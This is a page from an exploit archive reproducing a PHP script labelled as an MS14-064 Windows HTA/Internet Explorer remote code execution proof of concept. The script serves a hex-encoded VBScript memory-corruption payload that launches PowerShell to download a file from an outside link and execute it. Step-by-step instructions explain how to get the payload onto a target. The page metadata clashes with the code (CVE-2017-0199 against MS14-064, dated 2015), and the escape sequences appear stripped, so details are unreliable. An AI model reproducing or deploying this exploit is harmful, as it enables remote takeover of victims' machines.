Advertisement






Microsoft Windows HTA Remote Code Execution

CVE Category Price Severity
CVE-2017-0199 CWE-119 $5,000-$25,000 High
Author Risk Exploitation Type Date
Embedded High Remote 2015-08-18
CPE
cpe:cpe:/o:microsoft:windows
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2015080096

Below is a copy:

Microsoft Windows HTA Remote Code Execution#!/usr/bin/php
<?php
    # Title : Microsoft Windows HTA (HTML Application) - Remote Code Execution
    # Tested on Windows 7 / Server 2008
    #
    #
    # Author      :   Mohammad Reza Espargham
    # Linkedin    :   https://ir.linkedin.com/in/rezasp
    # E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
    # Website     :   www.reza.es
    # Twitter     :   https://twitter.com/rezesp
    # FaceBook    :   https://www.facebook.com/mohammadreza.espargham
    #
    #
    #  MS14-064
    #
    #
    # 1 . run php code : php hta.php
    # 2 . copy this php output (HTML) and Paste as poc.hta (Replace ip)
    # 3 . open poc.hta
    # 4 . Your Link Download/Execute on your target
    # 5 . Finished ;)
    #
    # Demo : http://youtu.be/Vkswz7vt23M
    #
     
     
     
     
    $port=80; # Port Address
    $link="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe"; # Your exe link
     
     
     
    print "    Mohammad Reza Esparghamnnn";
     
    $host= gethostname(); #g3th0stn4m3
    $ip = gethostbyname($host); #g3th0stbyn4m3
     
    print "Winrar HTML Coden".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip . '"></head></html>'."nn";
 
    $reza = socket_create(AF_INET, SOCK_STREAM, 0) or die('Failed to create socket!');
    socket_bind($reza, 0,$port);
    socket_listen($reza);
     
    $msgd =
    "x3cx68x74x6dx6cx3ex0dx0ax3cx6dx65x74x61x20x68x74x74x70x2dx65x71x75x69x76".
    "x3dx22x58x2dx55x41x2dx43x6fx6dx70x61x74x69x62x6cx65x22x20x63x6fx6ex74x65".
    "x6ex74x3dx22x49x45x3dx45x6dx75x6cx61x74x65x49x45x38x22x20x3ex0dx0ax3cx68".
    "x65x61x64x3ex0dx0ax3cx2fx68x65x61x64x3ex0dx0ax3cx62x6fx64x79x3ex0dx0ax20".
    "x0dx0ax3cx53x43x52x49x50x54x20x4cx41x4ex47x55x41x47x45x3dx22x56x42x53x63".
    "x72x69x70x74x22x3ex0dx0ax0dx0ax66x75x6ex63x74x69x6fx6ex20x72x75x6ex6dx75".
    "x6dx61x61x28x29x20x0dx0ax4fx6ex20x45x72x72x6fx72x20x52x65x73x75x6dx65x20".
    "x4ex65x78x74x0dx0ax73x65x74x20x73x68x65x6cx6cx3dx63x72x65x61x74x65x6fx62".
    "x6ax65x63x74x28x22x53x68x65x6cx6cx2ex41x70x70x6cx69x63x61x74x69x6fx6ex22".
    "x29x0dx0ax63x6fx6dx6dx61x6ex64x3dx22x49x6ex76x6fx6bx65x2dx45x78x70x72x65".
    "x73x73x69x6fx6ex20x24x28x4ex65x77x2dx4fx62x6ax65x63x74x20x53x79x73x74x65".
    "x6dx2ex4ex65x74x2ex57x65x62x43x6cx69x65x6ex74x29x2ex44x6fx77x6ex6cx6fx61".
    "x64x46x69x6cx65x28x27x46x49x4cx45x5fx44x4fx57x4ex4cx4fx41x44x27x2cx27x6c".
    "x6fx61x64x2ex65x78x65x27x29x3bx24x28x4ex65x77x2dx4fx62x6ax65x63x74x20x2d".
    "x63x6fx6dx20x53x68x65x6cx6cx2ex41x70x70x6cx69x63x61x74x69x6fx6ex29x2ex53".
    "x68x65x6cx6cx45x78x65x63x75x74x65x28x27x6cx6fx61x64x2ex65x78x65x27x29x3b".
    "x22x0dx0ax73x68x65x6cx6cx2ex53x68x65x6cx6cx45x78x65x63x75x74x65x20x22x70".
    "x6fx77x65x72x73x68x65x6cx6cx2ex65x78x65x22x2cx20x22x2dx43x6fx6dx6dx61x6e".
    "x64x20x22x20x26x20x63x6fx6dx6dx61x6ex64x2cx20x22x22x2cx20x22x72x75x6ex61".
    "x73x22x2cx20x30x0dx0ax65x6ex64x20x66x75x6ex63x74x69x6fx6ex0dx0ax3cx2fx73".
    "x63x72x69x70x74x3ex0dx0ax20x0dx0ax3cx53x43x52x49x50x54x20x4cx41x4ex47x55".
    "x41x47x45x3dx22x56x42x53x63x72x69x70x74x22x3ex0dx0ax20x20x0dx0ax64x69x6d".
    "x20x20x20x61x61x28x29x0dx0ax64x69x6dx20x20x20x61x62x28x29x0dx0ax64x69x6d".
    "x20x20x20x61x30x0dx0ax64x69x6dx20x20x20x61x31x0dx0ax64x69x6dx20x20x20x61".
    "x32x0dx0ax64x69x6dx20x20x20x61x33x0dx0ax64x69x6dx20x20x20x77x69x6ex39x78".
    "x0dx0ax64x69x6dx20x20x20x69x6ex74x56x65x72x73x69x6fx6ex0dx0ax64x69x6dx20".
    "x20x20x72x6ex64x61x0dx0ax64x69x6dx20x20x20x66x75x6ex63x6cx61x73x73x0dx0a".
    "x64x69x6dx20x20x20x6dx79x61x72x72x61x79x0dx0ax20x0dx0ax42x65x67x69x6ex28".
    "x29x0dx0ax20x0dx0ax66x75x6ex63x74x69x6fx6ex20x42x65x67x69x6ex28x29x0dx0a".
    "x20x20x4fx6ex20x45x72x72x6fx72x20x52x65x73x75x6dx65x20x4ex65x78x74x0dx0a".
    "x20x20x69x6ex66x6fx3dx4ex61x76x69x67x61x74x6fx72x2ex55x73x65x72x41x67x65".
    "x6ex74x0dx0ax20x0dx0ax20x20x69x66x28x69x6ex73x74x72x28x69x6ex66x6fx2cx22".
    "x57x69x6ex36x34x22x29x3ex30x29x20x20x20x74x68x65x6ex0dx0ax20x20x20x20x20".
    "x65x78x69x74x20x20x20x66x75x6ex63x74x69x6fx6ex0dx0ax20x20x65x6ex64x20x69".
    "x66x0dx0ax20x0dx0ax20x20x69x66x20x28x69x6ex73x74x72x28x69x6ex66x6fx2cx22".
    "x4dx53x49x45x22x29x3ex30x29x20x20x20x74x68x65x6ex20x0dx0ax20x20x20x20x20".
    "x20x20x20x20x20x20x20x20x69x6ex74x56x65x72x73x69x6fx6ex20x3dx20x43x49x6e".
    "x74x28x4dx69x64x28x69x6ex66x6fx2cx20x49x6ex53x74x72x28x69x6ex66x6fx2cx20".
    "x22x4dx53x49x45x22x29x20x2bx20x35x2cx20x32x29x29x20x20x20x0dx0ax20x20x65".
    "x6cx73x65x0dx0ax20x20x20x20x20x65x78x69x74x20x20x20x66x75x6ex63x74x69x6f".
    "x6ex20x20x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x0dx0ax20x20x65".
    "x6ex64x20x69x66x0dx0ax20x0dx0ax20x20x77x69x6ex39x78x3dx30x0dx0ax20x0dx0a".
    "x20x20x42x65x67x69x6ex49x6ex69x74x28x29x0dx0ax20x20x49x66x20x43x72x65x61".
    "x74x65x28x29x3dx54x72x75x65x20x54x68x65x6ex0dx0ax20x20x20x20x20x6dx79x61".
    "x72x72x61x79x3dx20x20x20x20x20x20x20x20x63x68x72x77x28x30x31x29x26x63x68".
    "x72x77x28x32x31x37x36x29x26x63x68x72x77x28x30x31x29x26x63x68x72x77x28x30".
    "x30x29x26x63x68x72x77x28x30x30x29x26x63x68x72x77x28x30x30x29x26x63x68x72".
    "x77x28x30x30x29x26x63x68x72x77x28x30x30x29x0dx0ax20x20x20x20x20x6dx79x61".
    "x72x72x61x79x3dx6dx79x61x72x72x61x79x26x63x68x72x77x28x30x30x29x26x63x68".
    "x72x77x28x33x32x37x36x37x29x26x63x68x72x77x28x30x30x29x26x63x68x72x77x28".
    "x30x29x0dx0ax20x0dx0ax20x20x20x20x20x69x66x28x69x6ex74x56x65x72x73x69x6f".
    "x6ex3cx34x29x20x74x68x65x6ex0dx0ax20x20x20x20x20x20x20x20x20x64x6fx63x75".
    "x6dx65x6ex74x2ex77x72x69x74x65x28x22x3cx62x72x3ex20x49x45x22x29x0dx0ax20".
    "x20x20x20x20x20x20x20x20x64x6fx63x75x6dx65x6ex74x2ex77x72x69x74x65x28x69".
    "x6ex74x56x65x72x73x69x6fx6ex29x0dx0ax20x20x20x20x20x20x20x20x20x72x75x6e".
    "x73x68x65x6cx6cx63x6fx64x65x28x29x20x20x20x20x20x20x20x20x20x20x20x20x20".
    "x20x20x20x20x20x20x20x0dx0ax20x20x20x20x20x65x6cx73x65x20x20x0dx0ax20x20".
    "x20x20x20x20x20x20x20x20x73x65x74x6ex6fx74x73x61x66x65x6dx6fx64x65x28x29".
    "x0dx0ax20x20x20x20x20x65x6ex64x20x69x66x0dx0ax20x20x65x6ex64x20x69x66x0d".
    "x0ax65x6ex64x20x66x75x6ex63x74x69x6fx6ex0dx0ax20x0dx0ax66x75x6ex63x74x69".
    "x6fx6ex20x42x65x67x69x6ex49x6ex69x74x28x29x0dx0ax20x20x20x52x61x6ex64x6f".
    "x6dx69x7ax65x28x29x0dx0ax20x20x20x72x65x64x69x6dx20x61x61x28x35x29x0dx0a".
    "x20x20x20x72x65x64x69x6dx20x61x62x28x35x29x0dx0ax20x20x20x61x30x3dx31x33".
    "x2bx31x37x2ax72x6ex64x28x36x29x0dx0ax20x20x20x61x33x3dx37x2bx33x2ax72x6e".
    "x64x28x35x29x0dx0ax65x6ex64x20x66x75x6ex63x74x69x6fx6ex0dx0ax20x0dx0ax66".
    "x75x6ex63x74x69x6fx6ex20x43x72x65x61x74x65x28x29x0dx0ax20x20x4fx6ex20x45".
    "x72x72x6fx72x20x52x65x73x75x6dx65x20x4ex65x78x74x0dx0ax20x20x64x69x6dx20".
    "x69x0dx0ax20x20x43x72x65x61x74x65x3dx46x61x6cx73x65x0dx0ax20x20x46x6fx72".
    "x20x69x20x3dx20x30x20x54x6fx20x34x30x30x0dx0ax20x20x20x20x49x66x20x4fx76".
    "x65x72x28x29x3dx54x72x75x65x20x54x68x65x6ex0dx0ax20x20x20x20x20x20x20x43".
    "x72x65x61x74x65x3dx54x72x75x65x0dx0ax20x20x20x20x20x20x20x45x78x69x74x20".
    "x46x6fx72x0dx0ax20x20x20x20x45x6ex64x20x49x66x20x0dx0ax20x20x4ex65x78x74".
    "x0dx0ax65x6ex64x20x66x75x6ex63x74x69x6fx6ex0dx0ax20x0dx0ax73x75x62x20x74".
    "x65x73x74x61x61x28x29x0dx0ax65x6ex64x20x73x75x62x0dx0ax20x0dx0ax66x75x6e".
    "x63x74x69x6fx6ex20x6dx79x64x61x74x61x28x29x0dx0ax20x20x20x20x4fx6ex20x45".
    "x72x72x6fx72x20x52x65x73x75x6dx65x20x4ex65x78x74x0dx0ax20x20x20x20x20x69".
    "x3dx74x65x73x74x61x61x0dx0ax20x20x20x20x20x69x3dx6ex75x6cx6cx0dx0ax20x20".
    "x20x20x20x72x65x64x69x6dx20x20x50x72x65x73x65x72x76x65x20x61x61x28x61x32".
    "x29x20x20x0dx0ax20x20x20x0dx0ax20x20x20x20x20x61x62x28x30x29x3dx30x0dx0a".
    "x20x20x20x20x20x61x61x28x61x31x29x3dx69x0dx0ax20x20x20x20x20x61x62x28x30".
    "x29x3dx36x2ex33x36x35x39x38x37x33x37x34x33x37x38x30x31x45x2dx33x31x34x0d".
    "x0ax20x0dx0ax20x20x20x20x20x61x61x28x61x31x2bx32x29x3dx6dx79x61x72x72x61".
    "x79x0dx0ax20x20x20x20x20x61x62x28x32x29x3dx31x2ex37x34x30x38x38x35x33x34".
    "x37x33x31x33x32x34x45x2dx33x31x30x20x20x0dx0ax20x20x20x20x20x6dx79x64x61".
    "x74x61x3dx61x61x28x61x31x29x0dx0ax20x20x20x20x20x72x65x64x69x6dx20x20x50".
    "x72x65x73x65x72x76x65x20x61x61x28x61x30x29x20x20x0dx0ax65x6ex64x20x66x75".
    "x6ex63x74x69x6fx6ex20x0dx0ax20x0dx0ax20x0dx0ax66x75x6ex63x74x69x6fx6ex20".
    "x73x65x74x6ex6fx74x73x61x66x65x6dx6fx64x65x28x29x0dx0ax20x20x20x20x4fx6e".
    "x20x45x72x72x6fx72x20x52x65x73x75x6dx65x20x4ex65x78x74x0dx0ax20x20x20x20".
    "x69x3dx6dx79x64x61x74x61x28x29x20x20x0dx0ax20x20x20x20x69x3dx72x75x6dx28".
    "x69x2bx38x29x0dx0ax20x20x20x20x69x3dx72x75x6dx28x69x2bx31x36x29x0dx0ax20".
    "x20x20x20x6ax3dx72x75x6dx28x69x2bx26x68x31x33x34x29x20x20x0dx0ax20x20x20".
    "x20x66x6fx72x20x6bx3dx30x20x74x6fx20x26x68x36x30x20x73x74x65x70x20x34x0d".
    "x0ax20x20x20x20x20x20x20x20x6ax3dx72x75x6dx28x69x2bx26x68x31x32x30x2bx6b".
    "x29x0dx0ax20x20x20x20x20x20x20x20x69x66x28x6ax3dx31x34x29x20x74x68x65x6e".
    "x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x6ax3dx30x20x20x20x20x20".
    "x20x20x20x20x20x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x72x65x64".
    "x69x6dx20x20x50x72x65x73x65x72x76x65x20x61x61x28x61x32x29x20x20x20x20x20".
    "x20x20x20x20x20x20x20x20x0dx0ax20x20x20x20x20x61x61x28x61x31x2bx32x29x28".
    "x69x2bx26x68x31x31x63x2bx6bx29x3dx61x62x28x34x29x0dx0ax20x20x20x20x20x20".
    "x20x20x20x20x20x20x20x20x72x65x64x69x6dx20x20x50x72x65x73x65x72x76x65x20".
    "x61x61x28x61x30x29x20x20x0dx0ax20x0dx0ax20x20x20x20x20x6ax3dx30x20x0dx0a".
    "x20x20x20x20x20x20x20x20x20x20x20x20x20x20x6ax3dx72x75x6dx28x69x2bx26x68".
    "x31x32x30x2bx6bx29x20x20x20x0dx0ax20x20x20x20x20x20x20x20x20x20x0dx0ax20".
    "x20x20x20x20x20x20x20x20x20x20x20x20x20x20x45x78x69x74x20x66x6fx72x0dx0a".
    "x20x20x20x20x20x20x20x20x20x20x20x65x6ex64x20x69x66x0dx0ax20x0dx0ax20x20".
    "x20x20x6ex65x78x74x20x0dx0ax20x20x20x20x61x62x28x32x29x3dx31x2ex36x39x37".
    "x35x39x36x36x33x33x31x36x37x34x37x45x2dx33x31x33x0dx0ax20x20x20x20x72x75".
    "x6ex6dx75x6dx61x61x28x29x20x0dx0ax65x6ex64x20x66x75x6ex63x74x69x6fx6ex0d".
    "x0ax20x0dx0ax66x75x6ex63x74x69x6fx6ex20x4fx76x65x72x28x29x0dx0ax20x20x20".
    "x20x4fx6ex20x45x72x72x6fx72x20x52x65x73x75x6dx65x20x4ex65x78x74x0dx0ax20".
    "x20x20x20x64x69x6dx20x74x79x70x65x31x2cx74x79x70x65x32x2cx74x79x70x65x33".
    "x0dx0ax20x20x20x20x4fx76x65x72x3dx46x61x6cx73x65x0dx0ax20x20x20x20x61x30".
    "x3dx61x30x2bx61x33x0dx0ax20x20x20x20x61x31x3dx61x30x2bx32x0dx0ax20x20x20".
    "x20x61x32x3dx61x30x2bx26x68x38x30x30x30x30x30x30x0dx0ax20x20x20x0dx0ax20".
    "x20x20x20x72x65x64x69x6dx20x20x50x72x65x73x65x72x76x65x20x61x61x28x61x30".
    "x29x20x0dx0ax20x20x20x20x72x65x64x69x6dx20x20x20x61x62x28x61x30x29x20x20".
    "x20x20x20x0dx0ax20x20x20x0dx0ax20x20x20x20x72x65x64x69x6dx20x20x50x72x65".
    "x73x65x72x76x65x20x61x61x28x61x32x29x0dx0ax20x20x20x0dx0ax20x20x20x20x74".
    "x79x70x65x31x3dx31x0dx0ax20x20x20x20x61x62x28x30x29x3dx31x2ex31x32x33x34".
    "x35x36x37x38x39x30x31x32x33x34x35x36x37x38x39x30x31x32x33x34x35x36x37x38".
    "x39x30x0dx0ax20x20x20x20x61x61x28x61x30x29x3dx31x30x0dx0ax20x20x20x20x20".
    "x20x20x20x20x20x20x0dx0ax20x20x20x20x49x66x28x49x73x4fx62x6ax65x63x74x28".
    "x61x61x28x61x31x2dx31x29x29x20x3dx20x46x61x6cx73x65x29x20x54x68x65x6ex0d".
    "x0ax20x20x20x20x20x20x20x69x66x28x69x6ex74x56x65x72x73x69x6fx6ex3cx34x29".
    "x20x74x68x65x6ex0dx0ax20x20x20x20x20x20x20x20x20x20x20x6dx65x6dx3dx63x69".
    "x6ex74x28x61x30x2bx31x29x2ax31x36x20x20x20x20x20x20x20x20x20x20x20x20x20".
    "x0dx0ax20x20x20x20x20x20x20x20x20x20x20x6ax3dx76x61x72x74x79x70x65x28x61".
    "x61x28x61x31x2dx31x29x29x0dx0ax20x20x20x20x20x20x20x20x20x20x20x69x66x28".
    "x28x6ax3dx6dx65x6dx2bx34x29x20x6fx72x20x28x6ax2ax38x3dx6dx65x6dx2bx38x29".
    "x29x20x74x68x65x6ex0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x69x66".
    "x28x76x61x72x74x79x70x65x28x61x61x28x61x31x2dx31x29x29x3cx3ex30x29x20x20".
    "x54x68x65x6ex20x20x20x20x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20".
    "x20x20x20x49x66x28x49x73x4fx62x6ax65x63x74x28x61x61x28x61x31x29x29x20x3d".
    "x20x46x61x6cx73x65x20x29x20x54x68x65x6ex20x20x20x20x20x20x20x20x20x20x20".
    "x20x20x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x74".
    "x79x70x65x31x3dx56x61x72x54x79x70x65x28x61x61x28x61x31x29x29x0dx0ax20x20".
    "x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x65x6ex64x20x69x66x20x20x20".
    "x20x20x20x20x20x20x20x20x20x20x20x20x0dx0ax20x20x20x20x20x20x20x20x20x20".
    "x20x20x20x20x65x6ex64x20x69x66x0dx0ax20x20x20x20x20x20x20x20x20x20x20x65".
    "x6cx73x65x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x72x65x64x69x6dx20".
    "x20x50x72x65x73x65x72x76x65x20x61x61x28x61x30x29x0dx0ax20x20x20x20x20x20".
    "x20x20x20x20x20x20x20x65x78x69x74x20x20x66x75x6ex63x74x69x6fx6ex0dx0ax20".
    "x0dx0ax20x20x20x20x20x20x20x20x20x20x20x65x6ex64x20x69x66x20x0dx0ax20x20".
    "x20x20x20x20x20x20x65x6cx73x65x0dx0ax20x20x20x20x20x20x20x20x20x20x20x69".
    "x66x28x76x61x72x74x79x70x65x28x61x61x28x61x31x2dx31x29x29x3cx3ex30x29x20".
    "x20x54x68x65x6ex20x20x20x20x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20".
    "x20x49x66x28x49x73x4fx62x6ax65x63x74x28x61x61x28x61x31x29x29x20x3dx20x46".
    "x61x6cx73x65x20x29x20x54x68x65x6ex0dx0ax20x20x20x20x20x20x20x20x20x20x20".
    "x20x20x20x20x20x20x20x74x79x70x65x31x3dx56x61x72x54x79x70x65x28x61x61x28".
    "x61x31x29x29x0dx0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x65x6ex64x20".
    "x69x66x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x0dx0ax20x20x20x20x20".
    "x20x20x20x20x20x20x20x65x6ex64x20x69x66x0dx0ax20x20x20x20x20x20x20x20x65".
    "x6ex64x20x69x66x0dx0ax20x20x20x20x65x6ex64x20x69x66x0dx0ax20x20x20x20x20".
    "x20x20x20x20x20x20x20x20x20x20x0dx0ax20x20x20x20x20x0dx0ax20x20x20x20x49".
    "x66x28x74x79x70x65x31x3dx26x68x32x66x36x36x29x20x54x68x65x6ex20x20x20x20".
    "x20x20x20x20x20x0dx0ax20x20x20x20x20x20x20x20x20x20x4fx76x65x72x3dx54x72".
    "x75x65x20x20x20x20x20x20x0dx0ax20x20x20x20x45x6ex64x20x49x66x20x20x0dx0a".
    "x20x20x20x20x49x66x28x74x79x70x65x31x3dx26x68x42x39x41x44x29x20x54x68x65".
    "x6ex0dx0ax20x20x20x20x20x20x20x20x20x20x4fx76x65x72x3dx54x72x75x65x0dx0a".
    "x20x20x20x20x20x20x20x20x20x20x77x69x6ex39x78x3dx31x0dx0ax20x20x20x20x45".
    "x6ex64x20x49x66x20x20x0dx0ax20x0dx0ax20x20x20x20x72x65x64x69x6dx20x20x50".
    "x72x65x73x65x72x76x65x20x61x61x28x61x30x29x20x20x20x20x20x20x20x20x20x20".
    "x0dx0ax20x20x20x20x20x20x20x20x20x0dx0ax65x6ex64x20x66x75x6ex63x74x69x6f".
    "x6ex0dx0ax20x0dx0ax66x75x6ex63x74x69x6fx6ex20x72x75x6dx28x61x64x64x29x20".
    "x0dx0ax20x20x20x20x4fx6ex20x45x72x72x6fx72x20x52x65x73x75x6dx65x20x4ex65".
    "x78x74x0dx0ax20x20x20x20x72x65x64x69x6dx20x20x50x72x65x73x65x72x76x65x20".
    "x61x61x28x61x32x29x20x20x0dx0ax20x20x20x0dx0ax20x20x20x20x61x62x28x30x29".
    "x3dx30x20x20x20x0dx0ax20x20x20x20x61x61x28x61x31x29x3dx61x64x64x2bx34x20".
    "x20x20x20x20x0dx0ax20x20x20x20x61x62x28x30x29x3dx31x2ex36x39x37x35x39x36".
    "x36x33x33x31x36x37x34x37x45x2dx33x31x33x20x20x20x20x20x20x20x0dx0ax20x20".
    "x20x20x72x75x6dx3dx6cx65x6ex62x28x61x61x28x61x31x29x29x20x20x0dx0ax20x20".
    "x20x20x0dx0ax20x20x20x20x61x62x28x30x29x3dx30x0dx0ax20x20x20x20x72x65x64".
    "x69x6dx20x20x50x72x65x73x65x72x76x65x20x61x61x28x61x30x29x0dx0ax65x6ex64".
    "x20x66x75x6ex63x74x69x6fx6ex0dx0ax20x0dx0ax3cx2fx73x63x72x69x70x74x3ex0d".
    "x0ax20x0dx0ax3cx2fx62x6fx64x79x3ex0dx0ax3cx2fx68x74x6dx6cx3e";
    $msgd=str_replace("FILE_DOWNLOAD",$link,$msgd);
     
    for (;;) {
        if ($client = @socket_accept($reza)) {
            socket_write($client, "HTTP/1.1 200 OKrn" .
                         "Content-length: " . strlen($msgd) . "rn" .
                         "Content-Type: text/html; charset=UTF-8rnrn" .
                         $msgd);
            print "n Target Checked Your Link n";
        }
        else usleep(100000);
    }
     
     
    ?>




Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum